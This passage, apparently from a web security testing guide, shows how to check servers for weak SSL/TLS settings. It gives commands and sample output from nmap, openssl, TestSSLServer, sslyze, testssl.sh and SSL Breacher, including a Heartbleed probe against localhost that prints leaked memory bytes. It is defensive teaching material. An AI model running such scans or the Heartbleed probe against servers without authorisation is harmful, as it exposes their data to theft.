110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher - Yet Another SSL Test Tool====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
<br />
<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: header presence <br />
# HSTS:Reasonable duration of MAX-AGE <br />
# HSTS:Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh localhost 443<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
